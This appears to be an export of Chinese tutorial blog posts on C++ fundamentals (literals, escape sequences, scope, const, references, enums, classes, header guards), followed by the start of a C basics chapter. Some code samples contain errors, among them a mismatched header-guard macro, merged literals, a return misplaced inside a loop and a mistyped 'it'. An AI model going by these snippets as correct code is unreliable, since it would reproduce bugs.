long类型。通过在数值后面加L或者l指定常量为long类型。\n\n提示:定义长整型时,应该使用大写字母L。小写字母l很容易和数值1混淆。\n\n类似地,可通过在数值后面加U或u定义unsigned类型。同时加L和U就能够得到unsigned long类型的字面值常量。但其后缀不能有空格:\n128u 1024UL1L 8Lu\n\n没有short类型的字面值常量。\n2.浮点字面值规则\n通常可以使用十进制或者科学计数法来表示浮点字面值常量。使用科学计数法时,指数用E或者e表示。默认的浮点字面值常量为double类型。在数值的后面加上F或f表示单精度。同样加上L或者l表示扩展精度。\n3.14159F .001f 12.345L 0.3.14159E0f 1E-3F 1.2345E1L 0e0\n\n\n3.布尔字面值和字符字面值单词true和false是布尔型的字面值:\nbool test=false\n\n可打印的字符型字面值通常用一对单引号来定义:\n'a' '2' ',' ''\n这些字面值都是char类型的,在字符字面值前加L就能够得到wchar_t类型的宽字符字面值。\nL'a'\n\n\n4.非打印字符的转义序列有些字符是不可打印的。不可打印字符实际上是不可显示的字符,比如推个或者控制符。还有一些在语言中有特殊意义的字符,例如单引号、双引号和反斜杠符号。不可打印字符和特殊字符都用转义字符书写。转义字符都以反斜线符号开始,C++中定义了如下转义字符:\n\n\n\n\n\n\n\n\n换行符 \\n\n水平制表符 \\t\n\n\n纵向制表符 \\v\n退格符 \\b\n\n\n回车符 \\r\n进纸符 \\f\n\n\n响铃符 \\a\n反斜线 \\\\\n\n\n疑问号 \\?\n单引号 \\'\n\n\n双引号\\"\n\n\n\n我们可以将任何字符表示为以下形式的同样转义字符:\n\\ooo\n这里ooo表示三个八进制数字,这三个数字表示字符的数字值。\n下面是用ASCII码字符集表示字面值常量:\n\\7(响铃符) \\12(换行符) \\40(空格符)\\0(空字符) \\062('2') \\115('M')\n字符\\0通常表示“空字符”。同样也可以使用十六进制转义字符来定义字符:\n\\xddd\n\n它由一个反斜线符、一个x和一个或者多个十六进制数字组成。\n5.字符串字面值之前见过的所有字面值都有基本内置类型。还有一种字面值(字符串字面值)更加复杂。字符串字面值是一串常量字符。\n字符串字面值常量用双引号括起来的零个或者多个字符表示。不可打印字符表示成相应的转义字符。\n“hello world\\n”\n\n为了兼容C语言,C++中所有的字符串字面值都由编译器自动在末尾加一个空字符。\n字符字面值表示单个字符A,\n'A'\n然而\n"A"\n表示包含字符A和空字符两个字符的字符串。\n也存在宽字符串字面值,一样在前面加“L”,如\nL"hello world"\n\n宽字符串字面值是一串常量宽字符,同样以一个宽空字符结束。\n6.字符串字面值的连接\n两个相邻的仅由空格、制表符或换行符分开的字符串字面值(或宽字符串字面值),可连接成一个新字符串字面值。这使得多行书写字符串字面值变得简单:\nstd::cout<<"hello"\t\t\t"world"\t\t\t<<std::endl;\n\n如果连接字符串字面值和宽字符串字面值,其结果是未定义的,也就是说,连接不同类型的行为标准没有定义。这个程序可能会执行,也可能会崩溃或者产生没有用的值,而且在不同的编译器下程序的动作可能不同。\n7.多行字面值\n处理长字符串有一个更基本的(但不常使用)方法,这个方法依赖于很少使用的程序格式化特性:在一行的末尾加一反斜线符号可将此行和下一行当作同一行处理。\nstd::cou\\t<<"Hi"<<st\\d::endl;\n\n等价于\nstd::cout<<"Hi"<<std::endl;\n注意反斜线符号必须是该行的尾字符——不允许其后面有注释或空格。同样,后继行行首的任何空格和制表符都是字符串字面值的一部分。正因如此,长字符串字面值的后继行才不会有正常的缩进。\n变量什么是变量变量提供了程序可以操作的有名字的存储区。C++中的每一个变量都有特定的类型,该类型决定了变量的内存大小和布局、能够存储与该内存中的值的取值范围以及可应用在该变量上的操作集。C++程序员常常把变量称为 “变量” 或 “对象”。\n左值和右值\n\n左值(lvalue):左值可以出现在赋值语句的左边或右边。\n右值(rvalue):右值只能出现在赋值的右边,不能出现在赋值语句的左边。\n\n变量是左值,因此可以出现在赋值语句的左边。数字字面值是右值,因此不能被赋值。给定以下变量:\nint units_sold=0;double sales_price=0\n\n有些操作符,比如赋值,要求其中的一个操作数必须是左值。结果,可以使用左值的上下文比右值更广。左值出现的上下文决定了决定了左值是如何使用的。\nunits_sold=uints_sold+1;\nuints_sold变量被用作两种不同操作符的操作数。+操作符仅关心其操作数的值。变量的值是当前存储在和该变量关联的内存中的值。加法操作符的作用是取得变量的值并加1。\n变量units_sold也被用作=操作符的左操作数。=操作符读取右操作数并写到左操作数。\n变量名变量名,即变量的标识符(identifier),可以由字母、数字和下划线组成。变量名必须以字母或下划线开头,并且区分大小写字母:C++中的标识符都是大小写敏感的。下面定义了4个不同的标识符:\nint somename,someName,SomeName,SOMENAME;\n\n\n1.C++关键字\n\n\n\n\n\nC++关键字\n\n\n\n\n\nasm\ndo\nif\nreturn\ntry\n\n\nauto\ndouble\ninline\nshort\ntypedef\n\n\nbool\ndynamic_cast\nint\nsigned\ntypeid\n\n\nbreak\nelse\nlong\nsizeof\ntypename\n\n\ncase\nenum\nmutable\nstatic\nunion\n\n\ncatch\nexplicit\nnamespace\nstatic_cast\nunsigned\n\n\nchar\nexport\nnew\nstruct\nusing\n\n\nclass\nextern\noperator\nswitch\nvirtual\n\n\nconst\nfalse\nprivate\ntemplate\nvoid\n\n\ncontinue\nfor\npublic\nthrow\nwchar_t\n\n\ndefault\nfriend\nregister\ntrue\nwhile\n\n\ndelete\ngoto\nreinterpret_cast\n\n\n\n\nC++还保留了一些词用作各种操作符的替代名。这些替代名用于支持某些不支持标准C++操作符符合集的字符集。它们也不能用作标识符。\n\n\n\n\nC++\n操作符\n替代名\n\n\n\n\n\nand\nbitand\ncompl\nnot_eq\nor_eq\nxor_eq\n\n\nand_eq\nbitor\nnot\nor\nxor\n\n\n\n除了关键字,C++标准还保留了一组标识符用于标准库。标识符不能包含两个连续的下划线,也不能以下划线开头后面紧跟一个大写字母。有些标识符(在函数外定义的标识符)不能以下划线开头。\n2.变量命名习惯\n变量命名有许多被普遍接受的习惯,遵循这些习惯可以提供程序的可读性。\n\n变量名一般用小写字母。\n标识符应使用能帮助记忆的名字。\n包含多个词的标识符书写为在每个词之间添加一个下划线,或者每个内嵌的词的第一个字母都大写。\n\n\n注意:命名习惯最重要的是保持一致。\n\n定义对象下列语句定义了5个变量:\nint units_sold;double sales_price,avg_prive;std::string title;Sales_item curr;\n\n每个定义都是以类型说明符(type specifier) 开始,后面紧跟着以逗号分开的含有一个或多个说明符的列表。分号结束定义。类型说明符指定与对象相关联的类型:int、double、std::string和Sales_item都是类型名。其中int和double是内置类型,std::string是标准库定义的类型。\n类型决定了分配给变量的存储空间的大写和可以在其上执行的操作。\n多个变量可以定义在同一条语句中:\ndouble salary,wage;int month,\tday,year;std::string address;\n\n1.初始化\n变量定义指定了变量的类型和标识符,也可以为对象提供初始值。定义是指定了初始值的对象被称为已初始化的(initialized)。C++支持两种初始化变量的形式:复制初始化(copy-initialization) 和直接初始化(direct-initialization)。复制初始化语法用等号(=),直接初始化则是把初始化式放在括号中:\nint ival(1024); //直接初始化int ival=1024; //复制初始化\n\n使用=来初始化变量使得许多C++编程新手感到迷惑,他们很容易把初始化当成是赋值的一种形式。但是在C++中初始化和赋值是两种不同的操作。\n2.使用多个初始化式\n初始化内置类型的对象只有一种方法:提供一个值,并且把这个值复制到新定义的对象中。对内置类型来说,复制初始化和直接初始化几乎没有差别。\n对类类型的对象来说,有些初始化仅能用直接初始化完成。要想理解其中缘由,需要初步了解类是如何控制初始化的。\n每个类都可能会定义一个或几个特殊的成员函数来告诉我们如何初始化类类型的变量。定义如何进行初始化的成员函数称为构造函数(constructor)。和其他函数一样,构造函数能接受多个参数。一个类可以定义几个构造函数,每个构造函数必须接受不同数目或者不同类型的参数。\n我们以string类为例。string类型在标准库中定义,用于存储不同长度的字符串。使用string时必须包含string头文件。和IO类型一样,string定义在std命名空间中。\nstring类定义了几个构造函数,使得我们可以用不同的方式初始化string对象。其中一种初始化string对象的方式是作为字符串字面值的副本:\n#include<string>std::string titleA="C++ Primer";std::string titleB("C++ Primer");\n本例中,两种初始化方式都可以使用。两种定义都创建了一个string对象,其初始值都是指定的字符串字面值的副本。\n也可以通过一个计数器和一个字符初始化string对象。这样创建的对象包含重复多次的指定字符,重复次数由计数器指定。\nstd::string all_nines(10,'9');\n本例中,初始化 all_nines 的唯一方法是直接初始化。有多个初始化式时不能使用复制初始化。\n3.初始化多个变量\n当一个定义中定义了两个以上变量的时候,每个变量都可能有自己的初始化式。对象的名字立即变成可见,所以可以用同一个定义中前面已定义变量的值初始化后面的变量。已初始化变量和未初始化变量可以在同一个定义中定义。两种形式的初始化文法可以相互混用。\n#include <string>double salary=999.99,\twage(salary+0.01);int interval,\tmonth=9,day=7,year=1955;std::string title("C++ Primer"),\tpublisher="A-W";\n\n对象可以用任意复杂的表达式(包含函数的返回值)来初始化:\ndouble price=109.99,discount=0.16;\n\n变量初始化规则当定义没有初始化式的变量时,系统有时候会帮我们初始化变量。这时,系统提供什么样的值取决于变量的类型,也取决于变量定义的位置。\n1.内置类型变量的初始化\n内置类型变量是否自动初始化取决于变量定义的位置。在函数体外定义的变量都初始化成0,在函数体里定义的内置类型变量不进行自动初始化。除了用作赋值操作符的左操作数,未初始化变量用作任何其他用途都是没有定义的。未初始化变量引起的错误难以发现。\n\n注意:建议每个内置类型的对象都要初始化。\n\n2.类类型变量的初始化\n每个类都定义了该类型的对象可以怎样初始化。类通过定义一个或多个构造函数来控制类对象的初始化。\n如果定义某个类的变量时没有提供初始化式,这个类也可以定义初始化时的操作。它是通过定义一个特殊的构造函数即默认构造函数(default constructor)来实现的。这个构造函数之所以被称作默认构造函数,是因为它是 “默认” 运行的。如果没有提供初始化式,那么就会使用默认构造函数。不管变量在哪里定义,默认构造函数都会被使用。\n大多数类都提供了默认构造函数。如果类具有默认构造函数,那么就可以在定义该类的变量时不用显示地初始化变量。例如,string类定义了默认构造函数来初始化string变量为空字符串,既没有字符的字符串:\nstd::string empty;\n\n有些类类型没有默认构造函数。对于这些类型来说,每个定义都必须提供显示的初始化式。没有初始值是根本不可能定义这种类型的变量的。\n声明和定义正如前面所看到的那样,C++程序通常由许多文件组成。为了让多个文件访问相同的变量,C++区分了声明和定义。\n变量的定义(definition) 用于为变量分配存储空间,还可以为变量指定初始值。在一个程序中,变量有且仅有一个定义。\n声明(declaration) 用于向程序表明变量的类型和名字。定义也是声明:当定义变量时我们声明了它的类型和名字。可以通过使用extern关键字声明变量名而不定义它。不定义变量的声明包括对象名、对象类型和对象类型前的关键字extern:\nextern int i; //声明int i; //定义\n\nextern声明不是定义,也不分配存储空间。事实上,它只是说明变量定义在程序的其他地方。程序中变量可以声明多次,但只能定义一次。\n只有当声明也是定义时,声明才可以有初始化式,因为只有定义才分配存储空间。初始化式必须要有存储空间来进行初始化。如果声明有初始化式,那么它可被当作是定义,即使声明标记为extern:\nextern double pi=3.1416;\n\n虽然使用了extern,但是这条语句还是定义了pi,分配并初始化了存储空间。只有当extern声明位于函数外部时,才可以含有初始化式。\n因为已初始化的extern声明被当作是定义,所以该变量任何随后的定义都是错误的。\n同样,随后的含有初始化式的extern声明也是错误的。\n\n在C++语言中,变量必须且仅能定义一次,而且在使用变量之前必须定义或声明变量。\n\n任何在多个文件中使用的变量都需要有与定义分离的声明。在这种情况下,一个文件含有变量的定义,使用该变量的其他文件则包含该变量的声明(而不是定义)。\n名字的作用域C++程序中,每个名字都与唯一的实体(比如变量、函数和类型等)相关联。尽管有这样的要求,还是可以在程序中多次使用同一个名字,只要它用在不同的上下文中,且通过这些上下文可以区分该名字的不同意义。用来区分名字的不同意义的上下文称为作用域(scope)。作用域是程序的一段区域。一个名称可以和不同作用域中的不同实体相关联。\nC++语言中,大多数作用域是用花括号来界定的。一般来说,名字从其声明点开始直到其声明所在的作用域结束处都是可见的。\n#include <iostream>int main(){\tint sum=0;\tfor(int val=1;val<=10;val++){\t\tsum+=val;\tstd::cout<<"hello"<<endl;\treturn 0;\t}}\n\n这个程序定义了三个名字,使用了两个标准库的名字。程序定义了一个名为main的函数,以及两个名为sum和val的变量。名字main定义在所有花括号之外,在整个程序都可见。定义在所有函数外部的名字具有全局作用域(global scope) ,可以在程序中的任何地方访问。名字sum定义在main函数的作用域中,在整个main函数中都可以访问,但在main函数外则不能。变量sum有局部作用域(local scope) 。名字val更有意思,它定义在for语句的作用域中,只能在for语句中使用,而不能用在main函数的其他地方。它具有语句作用域(statement scope)。\nC++中作用域可嵌套\n定义在全局作用域中的名字可以在局部作用域中使用,定义在全局作用域中的名字和定义在函数的局部作用域中的名字可以在语句作用域中使用,等等。名字还可以在内部作用域中重新定义。理解和名字相关联的实体需要明白定义名字的作用域:\n#include <iostream>#include <string>std::string s1="hello";int main(){\tstd::string s2="world";\tstd::cout<<s1<<" "<<s2<<std::endl;\tint s1=42;\tstd::cout<<s1<<" "<<s2<<std::endl;\treturn 0;}\n这个程序中定义了三个变量:string类型的全局变量s1、string类型的局部变量s2和int类型的局部变量s1。局部变量s1的定义屏蔽(hide)了全局变量s1。\n变量从声明开始才可见,因此执行第一次输出时局部变量s1不可见,输出表达式中的s1是全局变量s1,输出 “hello world”。第二条输出语句跟在s1的局部定义后,现在局部变量s1在作用域中。第二条输出语句使用的是局部变量s1而不是全局变量s1,输出“42 world”。\n\n注意:在函数内定义一个函数可能会用到的全局变量同名的局部变量总是不好的。局部变量最好使用不同的名字。\n\n在变量使用处定义变量一般来说,变量的定义或声明可以放在程序中能摆放语句的任何位置。变量在使用前必须先声明或定义。\n在对象第一次被使用的地方定义对象可以提高程序的可读性。读者不需要返回到代码段的开始位置去寻找某一特殊变量的定义,而且,在此处定义变量,更容易给它赋以有意义的初始值。\n放置声明的一个约束是,变量只在从其定义处开始到该声明所在的作用域的结束处才可以访问。必须在使用该变量的最外层作用域里面或之前定义变量。\nconst限定符1.定义const对象\n定义一个变量代表某一常数的方法仍然有一个严重的问题。即变量是可以被修改的。\n变量可能被有意或无意地修改。const限定符提供了一个解决办法,它把一个对象转换成一个常量。\nconst int bufsize=512;\n利用const关键字定义一个常量,常量是不可修改的,任何修改常量的尝试都会报错。\n因为常量在定义后就不能被修改,所以定义时必须初始化。\n2.const对象默认为文件的局部变量\n在全局作用域力定义非const变量时,它在整个程序中都可以访问。我们可以把一个非const变量定义在一个文件中,假设已经做了合适的声明,就可在另外的文件中使用这个变量:\n//file1.ccint counter;//file2.ccextern int counter;counter++;\n与其他变量不同,除非特别说明,在全局作用域声明的const变量是定义该对象的文件的局部变量。此变量只存在于那个文件中,不能被其他文件访问。\n通过指定const变量为extern就可以在整个程序中访问const对象:\n//file1.ccextern const int buf=fcn();//file2.ccextern const int buf;\n\n\n\n注解:非const变量默认为extern。要使const变量能够在其他的文件中访问,必须显式地指定它为extern。\n\n引用引用(reference) 就是对象的另一个名字。在实际程序中,引用主要作函数的形式参数。\n引用是一种复合类型(compound type),通过在变量名前添加 “&” 符号来定义。符号类型是指用其他类型定义的类型。在引用的情况下,每一种引用类型都 “关联到” 某一其他类型。不能定义引用类型的引用,但可以定义任何其他类型的引用。\n引用必须用与该引用同类型的对象初始化:\nint ival=1024;int &refVal=ival;\n\n1.引用是别名\n因为引用只是它绑定的对象的另一名字,作用在引用上的所有操作事实上都是作用在该引用绑定的对象上:\nrefVal+=2;\n\n\n注意:当引用初始化后,只要该引用存在,它就保持绑定到初始化时指向的对象。不可能将引用绑定到另一个对象。\n\n要理解的重要概念是引用只是对象的另一名字。事实上,我们可以通过ival的原名访问ival,也可以通过它的别名refVal访问。赋值只是另外一种操作。\n初始化是指明引用指向哪个对象的唯一方法。\n2.定义多个引用可以在一个类型定义行中定义多个引用。必须在每个引用标识符前添加 “&” 符号:\nint i=1024,i2=2048;int &r=i,r2=i2;it i3=1024,&ri=i3;int &r3=i3,&r4=i2;\n\n3.const引用\nconst引用是指向const对象的引用:\nconst int ival=1024;const int &refVal=ival;int &ref2=ival; //error\n\n可以读取但不能修改refVal,因此,任何对refVal的赋值都是不合法的。这个限制有其意义:\n不能直接对ival赋值,因此不能通过使用refVal来修改ival。\n同理,用ival初始化ref2也是不合法的:ref2是普通的非const引用(nonconst reference),因此可以用来修改ref2指向的对象的值。\nconst引用可以初始化为不同类型的对象或者初始化为右值,如字面值常量:\nconst int &r=42;\n\n\n非const引用只能绑定到与该引用同类型的对象。const引用则可以绑定到不同但相关的类型的对象或绑定到右值。\n\ntypedef名字typedef可以用来定义类型的同义词:\ntypedef double wages;typedef int exam_score;\ntypedef定义以关键字typedef开始,后面是数据类型和标识符。标识符或类型名并没有引入新的类型,而只是现有数据类型的同义词。typedef名字可出现在程序中类型名可出现的任何位置。\ntypedef通常被用于以下三种目的:\n\n为了隐藏特定类型的实现,强调使用类型的目的。\n简化复杂的类型定义,使其更易理解。\n允许一种类型用于多个目的,同时使得每次使用该类型的目的明确。\n\n枚举我们需要为某些属性定义一组可选择的值。例如,文件打开的状态可能会有三种:输入、输出和追加。记录这些状态值的一种方法是每种状态都与一个唯一的常数值相关联。\n1.定义和初始化枚举枚举的定义包括关键字enum,其后是一个可选的枚举类型名,和一个花括号括起来、用逗号分开的枚举成员(enumerator) 列表。\nenum open_modes{input,output,append};\n\n默认地,第一个枚举成员赋值为0,后面的每个枚举成员赋的值比前面的大1。\n2.枚举成员是常量\n可以为一个或多个枚举成员提供初始值,用来初始化枚举成员的值必须是一个常量表达式(constant expression) 常量表达式是编译器在编译时就能够计算出结果的整型表达式。整型字面值常量是常量表达式,正如一个通过常量表达式自我初始化的const对象也是常量表达式一样。\nenum Forms{shape=1,sphere,cylinder,polygon};\n\n在枚举类型Forms中,显示将shape赋值为1。其他枚举成员隐式初始化:sphere初始化为2,cylinder初始化为3,polygon初始化为4.\n枚举成员值可以是不唯一的。\nenum Points{ point2d=2,point2w,\t\t\t point3d=3,pint3w};\n本例中,枚举成员pint2d显示初始化为2.下一个枚举成员point2w默认初始化,即它的值比前一枚举成员的值大1,因此point2w吹时候为3。枚举成员pint3d显示初始化为3。一样,point3w默认初始化,结果为4。\n不能改变枚举成员的值。枚举成员本书就是一个常量表达式,所以也可用于需要常量表达式的任何地方。\n3.每个enum都定义一种唯一的类型\n每个enum都定义了一种新的类型。和其他类型一样,可以定义和初始化Points类型的对象,也可以以不同的方式使用这些对象。枚举类型的对象的初始化或赋值,只能通过其枚举成员或同一枚举类型的其他对象来进行。\nPoints pt3d=point3d;Points pt2w=3; //errorpt2w=polygon; //errorpt2w=pt3d;\n注意把3赋给Points对象是非法的,即使3与一个Points枚举成员相关联。\n类类型C++中,通过定义类(class)来自定义数据类型。类定义了该类型的对象包含的数据和该类型的对象可以指向的操作。标准库类型string、istream和ostream都定义成类。\n1.从操作开始设计类\n每个类都定义了一个接口(interface) 和一个实现(implementation)。接口由使用该类的代码需要执行的操作完成。实现一般包括该类所需要的数据。实现还包括定义该类需要的但又不供一般性使用的函数。\n定义类时,通常先定义该类的接口,即该类所提供的操作。通过这些操作,可以决定该类完成其功能所需要的数据,以及是否需要定义一些函数来支持该类的实现。\n2.定义Sales_item类\n定义类:\nclass Sales_item{public:private:\tstd::string isbn;\tunsigned units_sold;\tdouble revenue;};\n类定义以关键字class开始,其后是该类的名字标识符。类体位于花括号里面。花括号后面必须要跟一个分号。\n类体可以为空。类体定义了组成该类型的数据和操作。这些操作和数据是类的一部分,也称为类的成员(member)。操作称为成员函数,而数据则称为数据成员(data member)。\n类也可以包含0个到多个private或public访问标号(access label)。访问标号控制类的成员在类外部是否可访问。使用该类的代码可能只能访问public成员。\n定义了类,也就定义了一种新的类型。类名就是该类型的名字。通过命名Sales_item类,表示Sales_item是一种新的类型,而且程序也可以定义该类型的变量。\n每一个类都定义了它自己的作用域。也就是说,数据和操作的名字在类的内部必须唯一,但可以重用定义在类外的名字。\n3.类的数据成员\n定义类的数据成员和定义普通变量有些相似。我们同样是指定一种类型并给该成员一个名字。\n定义变量和定义数据成员存在非常重要的区别:一般不能把类成员的初始化作为其定义的一部分。当定义数据成员时,只能指定该数据成员的名字和类型。类不是在类定义里定义数据成员时初始化数据成员,而是通过称为构造函数的特殊成员函数控制初始化。\n4.访问标号\n访问标号负责控制使用该类的代码是否可以使用给定的成员。类的成员函数可以使用类的任何成员,而不管其访问级别。访问标号public、private可以多次出现在类定义中。给定的访问标号应用到下一个访问标号出现时为止。\n类中public部分定义的成员在程序的任何部分都可以访问。一般把操作放在public部分,这样程序的任何代码都可以执行这些操作。\n不是类的组成部分的代码不能访问private成员。通过设定Sales_item的数据成员为private,可以保证对Sales_item对象进行操作的代码不能直接操纵器数据成员。\n5.使用struct关键字\nC++支持另一个关键字struct,它也可以定义类类型。struct关键字是从C语言中继承过来的。\n如果使用class关键字来定义类,那么定义在第一个访问标号前的任何成员都隐式指定为private;如果使用struct关键字,那么这些成员都是public。使用class还是struct关键字来定义类,仅仅影响默认的初始访问级别。\nstruct Sales_item{private:\tstd::string isbn;\tunsigned units_sold;\tdouble revenue;};\n\n\n用class和struct关键字定义类的唯一差别在于默认访问级别:默认情况下,struct的成员为public,而class的成员为private。\n\n编写自己的头文件一般类定义都会放入头文件(header file)。\n事实上,C++使用头文件包含的不仅仅是类定义。\n由多个文件组成的程序需要一种方法连接名字的使用和声明,在C++中这时通过头文件实现的。\n为了允许把程序分成独立的逻辑块,C++支持所谓的分别编译(separate compilation)。这样程序可以由多个文件组成。为了支持分别编译,我们的类的定义放在一个头文件里面。我们将定义的成员函数放在单独的源文件中。任何使用类的源文件都必须包含类的头文件。\n设计自己的头文件头文件为相关声明提供了一个集中存放的位置。头文件一般包含类的定义、extern变量的声明和函数的声明。使用或定义这些实体的文件要包含适当的头文件。\n头文件的正确使用能够带来两个好处:保证所有文件使用给定实体的同一声明;当声明需要修改时,只有头文件需要更新。\n设计头文件还需要注意以下几点:头文件中所做的声明在逻辑上应该是适于放在一起的。编译头文件需要一定的时间。如果头文件太大,程序员可能不愿意承受包含该头文件所带来的编译时代价。\n\n为了减少处理头文件的编译时间,有些C++的实现支持预编译头文件。\n\n1.头文件用于声明而不是用于定义\n当设计头文件时,记住定义和声明的区别是很重要的。定义只可以出现一次,而声明则可以出现多次。\n下列语句是一些定义,所以不应该放在头文件里:\nextern int ival=10;double fica_rate;\n\n\n注意:因为头文件包含在多个源文件中,所以不应该含有变量或函数的定义。\n\n对于头文件不应该含有定义这一规则,有三个例外。头文件可以定义类、值在编译时就已知道的const对象和inline函数。这些实体可以在多个源文件中定义,只要每个源文件中的定义是相同的。\n在头文件中定义这些实体,是因为编译器需要它们的定义(不只是声明)来产生代码。为了产生能定义或使用类的对象的代码,编译器需要指定组成该类型的数据成员。同一还需要知道能够在这些对象上执行的操作。类定义提供所需要的信息。在头文件中定义const对象则需要更多的解释。\n2.一些const对象定义在头文件中\nconst变量默认时是定义该变量的文件的局部变量。正如我们现在所看到的,这样设置默认情况的原因在于允许const变量定义在头文件中。\n预处理器的简单介绍#include设施是C++预处理器(preprocessor) 的一部分。预处理器处理程序的源代码,在编译器之前运行。C++继承了C的非常精细的预处理器。现在的C++程序以高度受限的方式使用预处理器。\n#include指示只接受一个参数:头文件名。预处理器用指定的头文件的内容替代每个#include。我们自己的头文件存储在文件中。系统的头文件可能用特定于编译器的更高效的格式保存。无论头文件以何种形式保存,一般都含有支持分别编译所需的类定义及变量和函数的声明。\n1.头文件经常需要其他头文件\n头文件经常#include其他头文件。头文件定义的实体经常使用其他头文件的设施。\n包含其他头文件是如此司空见惯,甚至一个头文件被多次包含进同一源文件也不稀奇。\n设计头文件时,应使其可以多次包含在同一源文件中,这一点很重要。我们必须保证多次包含同一头文件不会引起该头文件定义的类和对象被多次定义。使得头文件安全的通用做法,是使用预处理器定义头文件保护符(header guard)。头文件保护符用于避免在已经见到头文件的情况下重新处理该头文件的内容。\n2.避免多重包含\n在编写头文件之前,我们需要引入一些额外的预处理器设施。预处理器运行我们自定义变量。\n\n注意:预处理器变量的名字在程序中必须是唯一的。任何与预处理器变量相匹配的名字的使用都关联到该预处理器变量。\n\n为了避免名字冲突,预处理器变量经常用全大写字母表示。\n预处理器变量有两种状态:已定义或未定义。定义预处理器变量和检测其状态所用的预处理器指示不同。#define指示接受一个名字并定义该名字为预处理器变量。#ifndef指示检测指定的预处理器变量是否未定义。如果预处理器变量未定义,那么跟在其后的所有指示都被处理,直到出现#endif。\n可以使用这些设施来预防多次包含同一头文件:\n#ifndef SALESITE_H#define SALESITEM_H#endif\n\n为了保证头文件在给定的源文件中只处理过一次,我们首先检测#ifndef。第一次处理头文件时,测试会成功,因为SALESITEM_H还未定义。下一条语句定义了SALESITEM_H。那样的话,如果我们编译的文件恰好又一次包含了该头文件。#ifndef指示会发现SALESITEM_H已经定义,并且忽略该头文件的剩余部分。\n\n头文件应该含有保护符,即使这些头文件不会被其他头文件包含。编写头文件保护符并不困难,而且如果头文件被包含多次,它可以避免难以理解的编译错误。\n\n当没有两个头文件定义和使用同名的预处理器变量时,这个策略相当有效。我们可以用定义在头文件里的实体(如类)来命名预处理器变量来编码预处理器变量重名的问题。一个程序只能含有一个名为Sales_item的类。通过使用类名来组成头文件和预处理器变量的名字,可以使得很可能只有一个文件将会使用该预处理器变量。\n3.使用自定义的头文件\n如果头文件名括在尖括号(<>)里,那么认为该头文件是标准头文件。编译器将会在预定义的位置查找该头文件,这些预定义的位置可以通过查找路径环境变量或者通过命令行选项来修改。\n如果头文件名括在一对引号里,那么认为它是非系统头文件,非系统头文件的查找通常开始于源文件所在的路径。\n","categories":["编程"],"tags":["Cpp"]},{"title":"C++ chapter1 基础知识","url":"/2024/10/24/program/cpp/cpp-1/","content":"C++简介C++融合了3种不同的编程方式:C语言代表的过程性语言、C++在C语言基础上添加的类代表的面向对象语言、C++模板支持的泛型编程。\n编写简单的 C++程序\n预处理器编译指令#include\n函数头:int main()\n函数体,用{}括起\n结束main()函数的return语句\n\nc++语法要求main函数的定义以函数头int main开始。\n编译与执行程序Linux\ngcc demo.cpp -o demo\n\nWindows\ncl demo.cpp\n\n\n程序源文件demo.cxxdemo.cppdemo.cpdemo.C\n\n\n输入输出对象cin\nistream类型对象,这个对象也称为标准输入。\nint v;cin >> v;\n\ncout\nostream类型对象,这个对象也称为标准输出。\nint v=1;cout <<v<<endl;\n\n还有两个ostream对象,分别命名为cerr和clog。\ncerr对象又叫做标准错误,通常用来输出警告和错误信息。\nclog对象用于产生程序执行的一般信息。\n注释单行注释\n//这是一个单行注释\n\n多行注释\n/*这是一个多行注释*/\n\n\n注意:注释不可以嵌套\n\n控制结构while\nint i=0;while(i<10){ i++;}\n\nfor\nfor(int i=0;i<10;i++){\ti++;}\n\nif\nif(i>10){}else{}\n\n\n\n类简介C++中我们通过定义类来定义自己的数据结构。类机制是C++中最重要的特征之一。\n事实上,C++设计的主要焦点就是使自己所定义的类类型的行为可以像内置类型一样自然。\n正如我们使用IO一样的库一样,必须包含相关的头文件。类似的,对于自定义的类,必须使得编译器可以访问和类相关的定义。这几乎可以采用同同样的方式。一般来说,我们将类定义放入一个文件中,要使用该类的任何程序都必须包含这个文件。\n一句惯例,类类型存储在一个文件中,其文件名如果程序的源文件名一样,由文件名和文件后缀两部分组成。通常文件名和定义在头文件中的类名是一样的。通常后缀为.h\n,但也有一些程序员用.H、.hpp、.hxx。\n\n注解:标准库的头文件用尖括号<>括起来,非标准的库的头文件用””括起来\n\n成员函数\n成员函数(member function) 是由类定义的函数,有时称为类方法(method) 。\n成员函数只定义一次,但被视为每个对象的成员。我们将这些函数称为成员函数,是因为它们(通常)在特定对象上操作。在这个意义上,它们是对象的成员,即使同一类型的所有对象共享同一个定义也是如此。\n当调用成员函数时,(通常)指定函数要操作的对象。语法是使用点操作符(.)。\n\n注解:与大多数操作符不同,点操作符(“ . ”)的右操作符不是对象或值,而是成员的名字。\n\n通常使用成员函数作为点操作符的右操作数来调用成员函数。执行成员函数和执行其他函数相似:要调用函数,可将调用操作符( () )放在函数名之后。调用操作符是一对圆括号,括住传递给参数的实参列表(可能为空)。\nsale.isbn(item2);\n","categories":["编程"],"tags":["Cpp"]},{"title":"C chapter1 基本概念","url":"/2024/10/24/program/c/c-ptr-1/","content":"前言\n本文程序开发基于 Ubuntu 环境下的 gcc 编译器。\n\n本着没整理就是没学习的原则,菜鸡的我又来学 C 了。\n前面学 C 都是学到在 CTF 中够用就行了,不过这次打算一定要把 C 研究透。\n基本结构C 中一个程序最基本的结构就是头文件和主函数,以下列代码为例。\n头文件就是使用#include包含的库文件,即stdio.h这样。\n以下库文件就是最常用的库stdio.h库,因为它是输入输出标准库,我们要调用其中函数输入输出内容。\n主函数就是main函数,是程序的入口函数,笼统的说程序从这里开始执行。\n我们需要将以下代码保存为后缀名为.c的源文件,然后使用 gcc 编译器进行编译。\n\n经典程序 Hello,world!\n\n利用stdio.h标准输入输出库中的printf函数输出文本。\n输出的文本中\\n 是一个转义字符表示换行。\n下面这行程序输出一行指定文本\n#include <stdio.h>int main(){\tprintf("Hello,world\\n");\treturn 0;}//运行结果Hello,world\n\nprintf函数用于格式化输出到标准输出(屏幕)。\n其基本语法如下:\n#include <stdio.h>int printf(const char *format,...)\n\n函数括号中的是函数参数。\n\nprintf参数\nformat:格式化字符串,用于指定输出的格式。格式化符号如%d、%f、%s等用于显示不同类型的数据。\n%d:表示输出整数\n%f:表示输出浮点数\n%c:表示输出字符\n%s:表示输出字符串\n\n\n...可变参数,根据format字符串中指定的格式进行匹配。\n\n字符字符规则就像英语中的拼写规则,决定你在源程序中如何形成单独的字符片段,也就是标记(token)。\n一个 ANSI C 程序由声明和函数组成。函数定义了需要执行的工作,而声明则描述了函数和(或)函数将要操作的数据类型(有时候是数据本身)。\n标准规定 C 字符集必须包括英语所有的大写和小写字母,数字 0 到 